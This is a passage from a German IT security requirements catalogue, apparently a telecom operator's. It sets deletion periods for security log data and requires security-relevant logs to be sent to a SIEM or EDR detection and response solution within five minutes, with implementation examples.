Motivation: Protokollierungsdaten sind ein immens wichtiges Werkzeug der IT-Sicherheit zur Abwendung, Detektierung und Aufklärung von Systemstörungen, Sicherheits- und Datenschutzvorfällen. Auf der anderen Seite unterliegt die Erfassung von Protokollierungsdaten wie jede andere Datenverarbeitung auch gesetzlichen und regulatorischen Auflagen. Entsprechend müssen Richtlinien eingehalten werden, die beides in Einklang bringen.

Umsetzungsbeispiel: Unter Berücksichtigung der gültigen Gesetzeslage und zutreffenden Datenschutz-Regularien werden folgende Löschfristen für ausgeleitete sicherheitsrelevante Protokollierungsdaten eines beispielhaften TK-Systems auf dem separaten Log Server umgesetzt:

- Standard System Logs: Löschung nach spätestens 90 Tagen
- Protokollierungen von öffentlichen IP-Adressen: Löschung (oder Anonymisierung) nach spätestens 7 Tagen
- Protokollierungen der Vergabe von dynamischen öffentlichen IP-Adressen durch die TK-Lösung: Löschung nach spätestens 7 Tagen
- Protokollierungen nicht abrechnungsrelevanter Call Detail Records: Löschung nach spätestens 7 Tagen
- Protokollierungen der Kommunikations-Inhalte von E-Mail und SMS: Löschung nach spätestens 24 Stunden
- Protokollierungen der behandelten Domain-Abfragen des DNS-Servers der TK-Lösung: Löschung spätestens nach 24 Stunden

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Abstreiten von durchgeführten Aktionen
- Unbemerkt durchführbare Angriffe

ID: 3.01-36/9.0

Req 80	Sicherheitsrelevante Protokollierungsdaten müssen echtzeitnah an eine Erkennungs- und Reaktionslösung für Sicherheitsvorfälle bereitgestellt werden.
--------	--

Eine zulässige Erkennungs- und Reaktionslösung im Sinne dieser Anforderung muss die folgenden Kriterien erfüllen:

- Es erfolgt eine kontinuierliche Analyse bzw. Korrelation der aus angebundenen IT/NT-Systemen bereitgestellten Protokollierungsdaten.
- Die Identifizierung bedrohlicher Aktivitäten und laufender Angriffe findet auf Basis einer fortlaufend aktuell gehaltenen Erkennungsmuster-Datenbank statt.
- Integrierte Alarmierungsprozesse lösen im Fall eines Fundes die Einleitung von Gegenmaßnahmen aus.
- Sicherheitsexperten sind aktiv involviert in den Betrieb der Lösung sowie die Auswertung von Alarmen.

Eine solche Lösung ist in ihrer Funktion nicht mit einem Log Server gleichzusetzen. Entsprechend muss die Bereitstel-

lung an eine Erkennungs- und Reaktionslösung stets zusätzlich zu einer vorhandenen Weiterleitung an einen Log Server erfolgen. Eine Ausnahme besteht, falls der genutzte Log Server seinerseits die Protokollierungsdaten umgehend nach Erhalt zusätzlich an eine Erkennungs- und Reaktionslösung bereitstellt. In diesem Fall ist es ausreichend, dass das System die Protokollierungsdaten nur an den Log Server weiterleitet.

Die Protokollierungsdaten müssen ab dem Zeitpunkt ihrer Erzeugung im System innerhalb von 5 Minuten an die Erkennungs- und Reaktionslösung bereitgestellt werden ("echtzeitnah").

Die konkret zu unterstützenden technischen Schnittstellen und Protokolle für die Bereitstellung werden durch die im Einsatzumfeld des Systems verfügbare Erkennungs- und Reaktionslösung sowie die technische Basis des Systems bestimmt.

Motivation: IT/NT-Systeme sind permanent sicherheitstechnischen Bedrohungen und Angriffen ausgesetzt. Mittels einer zentralen Analyse und der Korrelation erfasster System-Ereignisse ganzer IT-Landschaften in nahezu Echtzeit können aktuelle Bedrohungen und laufende Angriffe auch über Systemgrenzen hinaus erkannt und zeitnah passende Gegenmaßnahmen eingeleitet werden. Die unverzügerte Bereitstellung von Protokollierungsdaten an die Erkennungs- und Reaktionslösung ist essenziell für deren Effektivität.

Umsetzungsbeispiel: **Beispiel 1:** Ein System auf Basis eines klassischen Servers erfasst sicherheitsrelevante Protokollierungsdaten im lokalen Syslog oder Windows Event Log des Betriebssystems. Die Protokollierungsdaten werden kontinuierlich zur weiteren Analyse, Angriffserkennung und Alarmbehandlung an ein SIEM (Security Information and Event Management) weitergeleitet.

Beispiel 2: Auf einem System wird ein EDR ("Endpoint Detection and Response") Agent ausgeführt. Der EDR-Agent leitet die von ihm auf dem System erfassten sicherheitsrelevanten Protokollierungsdaten kontinuierlich an das zentrale Backend der EDR-Lösung aus, auf dem die weitere Analyse, Angriffserkennung und Alarmbehandlung erfolgt.

Beispiel 3: Netzwerk-Komponenten stellen Ereignisse an ein SIEM bereit, die es ermöglichen, verdächtiges Kommunikationsverhalten wie Netzwerk-Scans, unzulässige Datenflüsse zwischen Netz-Segmenten oder aktive Verbindungen bzw. Verbindungsversuche zu verdächtigen Zielen im Internet zu entdecken. Im speziellen liefern Gateway Router aus dem CNDTAG "Netflow" Logs, während Forward Proxies Zugriffe auf Domänen und/oder IP-Adressen melden und Firewalls blockierte Verbindungsversuche loggen.

Beispiel 4: Auf Basis von Cloud-nativen Funktionen entwickelte Systeme erzeugen Protokollierungsdaten mittels der Cloud-eigenen Protokollierungs- und Überwachungsinfrastruktur direkt aus diesen Funktionen heraus. In einem solchen System wird die Erzeugung sicherheitsrelevanter Protokollierungsdaten in den entsprechenden Konfigurationsoptionen der eingesetzten Cloud-nativen Funktionen gezielt aktiviert. Die entstehenden Protokollierungsdaten werden kontinuierlich zur weiteren Analyse, Angriffserkennung und Alarmbehandlung an ein SIEM (Security Information and Event Management) übertragen. Einige Cloud-Anbieter leisten eine gewisse Angriffsmustererkennung bereits in der Cloud-eigenen Überwachungsinfrastruktur und erzeugen daraus spezifische Cloud-Alarme. Diese werden zusätzlich an das SIEM übertragen.

Beispiel 5: Ein System basiert auf einer SaaS ("Software as a Service") Applikation eines Cloud-Anbieters. Typischerweise verantwortet im SaaS Modell der Cloud-Anbieter alle operativen Aspekte der Applikation, inkl. des Sicherheitsmanagements. Der Cloud-Kunde selbst hat keinen Einfluss auf die zugrunde liegende technische Infrastruktur oder den Betrieb der Applikation. Anhand von Vertragsvereinbarungen, anerkannten Zertifikaten und dokumentierten Selbstauskünften des Cloud-Anbieters wird formell überprüft, dass der Cloud-Anbieter eine Erkennungs- und Reaktionslösung für Sicherheitsvorfälle implementiert hat. Einige Cloud-Anbieter erzeugen zusätzlich dedizierte Protokollierungsdaten über sicherheitsrelevante Aktivitäten innerhalb der separaten Kunden-Mandanten ihrer SaaS Applikation (beispielsweise zu Änderungen von Konfigurationseinstellungen, Berechtigungsvergaben oder Benutzer-Konten innerhalb der Mandanten) und stellen diese den Cloud-Kunden zu Verfügung. Diese sogenannten Audit-Logs werden kontinuierlich zur weiteren Analyse, Angriffserkennung und Alarmbehandlung an ein SIEM (Security Information and Event Management) übertragen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unbemerkt durchführbare Angriffe

ID: 3.01-37/9.0